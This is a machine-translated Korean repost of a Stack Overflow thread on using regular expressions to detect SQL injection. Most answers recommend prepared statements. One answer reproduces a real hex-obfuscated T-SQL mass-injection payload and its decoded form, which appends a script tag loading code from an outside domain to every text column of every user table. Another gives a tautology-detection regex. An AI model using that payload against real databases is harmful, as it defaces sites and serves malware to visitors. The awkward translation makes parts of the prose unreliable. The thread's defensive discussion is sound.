복붙노트

[SQL] SQL 주입을 감지하는 정규 표현식

SQL

SQL 주입을 감지하는 정규 표현식

문자열에서 SQL을 감지 할 수있는 정규 표현식이 있습니까? 사람이 그들이 공유하기 전에 사용하는 것을 무언가의 샘플이 있습니까?

해결법

  1. ==============================

    1.하지 마. 당신은 사실상 실패 보장하고 있습니다. 사용 된 PreparedStatement (또는 이에 상응하는) 대신.

    하지 마. 당신은 사실상 실패 보장하고 있습니다. 사용 된 PreparedStatement (또는 이에 상응하는) 대신.

  2. ==============================

    2.저장 프로 시저 또는 준비된 문을 사용합니다. 어떻게 이런 식으로 뭔가를 감지?

    저장 프로 시저 또는 준비된 문을 사용합니다. 어떻게 이런 식으로 뭔가를 감지?

    BTW이 실행되지 않습니다 :

       DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
       4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);
    

    어떤에 번역 :

    ( DECLARE Table_Cursor CURSOR FOR
        SELECT a.name,b.name FROM sysobjects a,syscolumns b 
        WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 
        OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 
        WHILE(@@FETCH_STATUS=0) 
        BEGIN EXEC(
          'UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=chkbnr.com/b.js></script>''') 
        FETCH NEXT FROM Table_Cursor INTO @T,@C 
      END 
      CLOSE Table_Cursor 
      DEALLOCATE Table_Cursor )
    
  3. ==============================

    3.자신의 저장 문제와 준비된 명령문 또는 매개 변수화 된 쿼리와 저장 프로 시저를 사용. 그들은 데이터베이스에 대한 인터페이스처럼 행동으로 저장 프로 시저 그래서 당신은 (저장된 시저 내부) 내부적으로 발생하지만 서명이 동일하게 유지 무엇을 변경할 수 있습니다, 어쨌든 좋은 연습입니다. 주입 보호의 준비된 명령문의 도움을 돌봐.

    자신의 저장 문제와 준비된 명령문 또는 매개 변수화 된 쿼리와 저장 프로 시저를 사용. 그들은 데이터베이스에 대한 인터페이스처럼 행동으로 저장 프로 시저 그래서 당신은 (저장된 시저 내부) 내부적으로 발생하지만 서명이 동일하게 유지 무엇을 변경할 수 있습니다, 어쨌든 좋은 연습입니다. 주입 보호의 준비된 명령문의 도움을 돌봐.

  4. ==============================

    4.나는 정규식이없는 그러나 나의 이해는 가장 중요한 것은 작은 따옴표를 감지하는 것입니다. 모든 주입 공격은 거기에서 시작합니다. 그들은 아마도이 - 너무 거기에 주석하고 문자열 후이 될 수있는 다른 SQL에 로그인합니다.

    나는 정규식이없는 그러나 나의 이해는 가장 중요한 것은 작은 따옴표를 감지하는 것입니다. 모든 주입 공격은 거기에서 시작합니다. 그들은 아마도이 - 너무 거기에 주석하고 문자열 후이 될 수있는 다른 SQL에 로그인합니다.

  5. ==============================

    5.으로는 준비된 문을 사용하는 것이 좋습니다 말했다. 당신은 전화를 준비의 사용을 강제로 저장 프로 시저에 의해 실행되는 키 쿼리를 강제로 주장 할 수 있습니다.

    으로는 준비된 문을 사용하는 것이 좋습니다 말했다. 당신은 전화를 준비의 사용을 강제로 저장 프로 시저에 의해 실행되는 키 쿼리를 강제로 주장 할 수 있습니다.

    여하튼, 여기서 여기서 절에서 간단한 고전 N을 검출 그렙 = N의 정수이고; 그것은 신고 건너 뜁니다하여 OR 많은 게으른에 대한 질의 생성자 및하지만 의지 플래그를에 의해 사용 1 = 1

    ((WHERE|OR)[ ]+[\(]*[ ]*([\(]*[0-9]+[\)]*)[ ]*=[ ]*[\)]*[ ]*\3)|AND[ ]+[\(]*[ ]*([\(]*1[0-9]+|[2-9][0-9]*[\)]*)[ ]*[\(]*[ ]*=[ ]*[\)]*[ ]*\4
    

    물론 진수 문자열 비교를 감지 개선,하지만 등 ORD (MID (같은 다른 greps와 함께, 빠른 감지 메커니즘이었다 할 수있다

    MySQL과의 일반 로그와 같은 쿼리 로그에 사용

    그 유용 희망

  6. from https://stackoverflow.com/questions/45093/regex-to-detect-sql-injection by cc-by-sa and MIT license